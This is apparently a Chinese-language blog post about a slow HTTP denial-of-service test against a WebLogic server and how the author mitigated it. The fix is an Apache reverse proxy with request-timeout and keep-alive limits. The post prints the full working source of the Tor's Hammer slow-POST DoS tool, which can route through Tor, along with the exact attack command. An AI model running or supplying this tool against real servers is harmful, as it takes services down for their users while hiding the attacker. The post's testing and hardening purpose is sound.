原系统为行业内业务系统,布署了两套系统,分别采用Jboss和webLogic作为服务器,两套系统在同一个物理机器上,使用两个端口。
服务器:weblogic12.1.2 Jboss eap6.0
数据库:oracle12(另一个物理机器,两套系统共用)
在试运行时,对weblogic上布署的服务进行slow http dos测试。测试工具为Torshammer(需安装Pyton2.7),测试命令:torshammer.py -t IP地址 -r 256 -p 7001,新建一个文本,将此命令复制进去,保存后更改文件后缀为cmd。
测试人员开了20个窗口同时运行此命令,系统就无响应了。
打开Torshammer工具的torshammer.py文件,代码如下:
#!/usr/bin/python
"""
Tor's Hammer - Slow POST Denial Of Service Testing Tool
Version 1.0 Beta
Project home page: https://sourceforge.net/projects/torshammer
Tor's Hammer is a slow post dos testing tool written in Python.
It can also be run through the Tor network to be anonymized.
If you are going to run it with Tor it assumes you are running Tor on 127.0.0.1:9050.
Kills most unprotected web servers running Apache and IIS via a single instance.
Kills Apache 1.X and older IIS with ~128 threads.
Kills newer IIS and Apache 2.X with ~256 threads.
"""
import os
import re
import time
import sys
import random
import math
import getopt
import socks
import string
import terminal
from threading import Thread
global stop_now
global term
stop_now = False
term = terminal.TerminalController()
useragents = [
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
"Googlebot/2.1 (http://www.googlebot.com/bot.html)",
"Opera/9.20 (Windows NT 6.0; U; en)",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
"Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
"Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)", # maybe not
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
"Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
"Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
"YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)"
]
class httpPost(Thread):
def __init__(self, host, port, tor):
Thread.__init__(self)
self.host = host
self.port = port
self.socks = socks.socksocket()
self.tor = tor
self.running = True
def _send_http_post(self, pause=10):
global stop_now
self.socks.send("POST / HTTP/1.1\r\n"
"Host: %s\r\n"
"User-Agent: %s\r\n"
"Connection: keep-alive\r\n"
"Keep-Alive: 900\r\n"
"Content-Length: 10000\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n\r\n" %
(self.host, random.choice(useragents)))
for i in range(0, 9999):
if stop_now:
self.running = False
break
p = random.choice(string.letters+string.digits)
print term.BOL+term.UP+term.CLEAR_EOL+"Posting: %s" % p+term.NORMAL
self.socks.send(p)
time.sleep(random.uniform(0.1, 3))
self.socks.close()
def run(self):
while self.running:
while self.running:
try:
if self.tor:
self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
self.socks.connect((self.host, self.port))
print term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL
break
except Exception, e:
if e.args[0] == 106 or e.args[0] == 60:
break
print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL
time.sleep(1)
continue
while self.running:
try:
self._send_http_post()
except Exception, e:
if e.args[0] == 32 or e.args[0] == 104:
print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL
self.socks = socks.socksocket()
break
time.sleep(0.1)
pass
def usage():
print "./torshammer.py -t [-r -p -T -h]"
print " -t|--target "
print " -r|--threads Defaults to 256"
print " -p|--port Defaults to 80"
print " -T|--tor Enable anonymising through tor on 127.0.0.1:9050"
print " -h|--help Shows this help\n"
print "Eg. ./torshammer.py -t 192.168.1.100 -r 256\n"
def main(argv):
try:
opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="])
except getopt.GetoptError:
usage()
sys.exit(-1)
global stop_now
target = ''
threads = 256
tor = False
port = 80
for o, a in opts:
if o in ("-h", "--help"):
usage()
sys.exit(0)
if o in ("-T", "--tor"):
tor = True
elif o in ("-t", "--target"):
target = a
elif o in ("-r", "--threads"):
threads = int(a)
elif o in ("-p", "--port"):
port = int(a)
if target == '' or int(threads) <= 0:
usage()
sys.exit(-1)
print term.DOWN + term.RED + "/*" + term.NORMAL
print term.RED + " * Target: %s Port: %d" % (target, port) + term.NORMAL
print term.RED + " * Threads: %d Tor: %s" % (threads, tor) + term.NORMAL
print term.RED + " * Give 20 seconds without tor or 40 with before checking site" + term.NORMAL
print term.RED + " */" + term.DOWN + term.DOWN + term.NORMAL
rthreads = []
for i in range(threads):
t = httpPost(target, port, tor)
rthreads.append(t)
t.start()
while len(rthreads) > 0:
try:
rthreads = [t.join(1) for t in rthreads if t is not None and t.isAlive()]
except KeyboardInterrupt:
print "\nShutting down threads...\n"
for t in rthreads:
stop_now = True
t.running = False
if __name__ == "__main__":
print "\n/*"
print " *"+term.RED + " Tor's Hammer "+term.NORMAL
print " * Slow POST DoS Testing Tool"
print " * Version 1.0 Beta"
print " * Anon-ymized via Tor"
print " * We are Anonymous."
print " * We are Legion."
print " * We do not forgive."
print " * We do not forget."
print " * Expect us!"
print " */\n"
main(sys.argv[1:])
解读:
for i in range(threads):
t = httpPost(target, port, tor)
rthreads.append(t)
t.start()
self.socks.send("POST / HTTP/1.1\r\n"
"Host: %s\r\n"
"User-Agent: %s\r\n"
"Connection: keep-alive\r\n"
"Keep-Alive: 900\r\n"
"Content-Length: 10000\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n\r\n" %
(self.host, random.choice(useragents)))
for i in range(0, 9999):
if stop_now:
self.running = False
break
p = random.choice(string.letters+string.digits)
print term.BOL+term.UP+term.CLEAR_EOL+"Posting: %s" % p+term.NORMAL
self.socks.send(p)
time.sleep(random.uniform(0.1, 3))
self.socks.close()
由此可知,打开torshammer会产生大量keepAlive的连接,当连接达到服务器所能支持的最大值,服务器无法处理正常的HTTP请求,就会DOS,修改weblogic的Post超时时间、最长Post时间、HTTP持续时间等,但进行slow http dos测试时还是无法通过。
解决办法:使用apache服务器作为代理,转发HTTP。
1、修改原weblogic的7001端口为7003。
2、设置防火墙规则,对外关闭7003端口。
3、apache监听7001端口,并将HTTP转发到7003端口。
4、将静态文件复制到apache24的htdocs文件夹下
-------------------------------------------------------------------- apache2.4的配置在apache24\conf文件夹下,主配置文件为httpd.conf,修改如下
1、修改ServerRoot为apache安装目录,如ServerRoot "D:/httpd-2.4.10-win64/Apache24";
2、修改Listen为监听的IP(对外服务的IP)和端口,apache监听此端口,并将其转发到weblogic的端口,如Listen 对外IP:7001;
3、将LoadModule ... mod_proxy.so、mod_proxy_connect.so、mod_proxy_http.so、mod_reqtimeout.so前注释去掉;
4、增加如下配置,
ProxyRequests Off
Order deny,allow
Allow from all
ProxyPass / http://localhost:7003/
ProxyPassReverse / http://localhost:7003/
5、修改ServerName:ServerName http://对外IP:7001/
6、修改Directory /
Options ExecCGI FollowSymLinks
AllowOverride All
Require all granted
7、修改DocumentRoot,如DocumentRoot "D:/httpd-2.4.10-win64/Apache24/htdocs"
8、修改htdocs,如Directory "D:/httpd-2.4.10-win64/Apache24/htdocs"
Options FollowSymLinks
AllowOverride All
Require all granted
9、修改首页
DirectoryIndex indexForEcms.html index.jsp index.html
indexForEcms.html是自己添加的首页,代码如下,其中的URL替换为原首页即可
10、取消如下两行的注释
Include conf/extra/httpd-mpm.conf
Include conf/extra/httpd-default.conf
11、httpd-mpm.conf,若是windows系统下安装的apache,可以修改
12、httpd-default.conf修改
Timeout 30
KeepAlive On
MaxKeepAliveRequests 100//一个持久连接支持的请求数
KeepAliveTimeout 15//一个持久连接上,一个请求的超时时间
UseCanonicalName Off
AccessFileName .htaccess
ServerTokens Full
ServerSignature Off
HostnameLookups Off
RequestReadTimeout header=20-40,MinRate=500 body=20,MinRate=500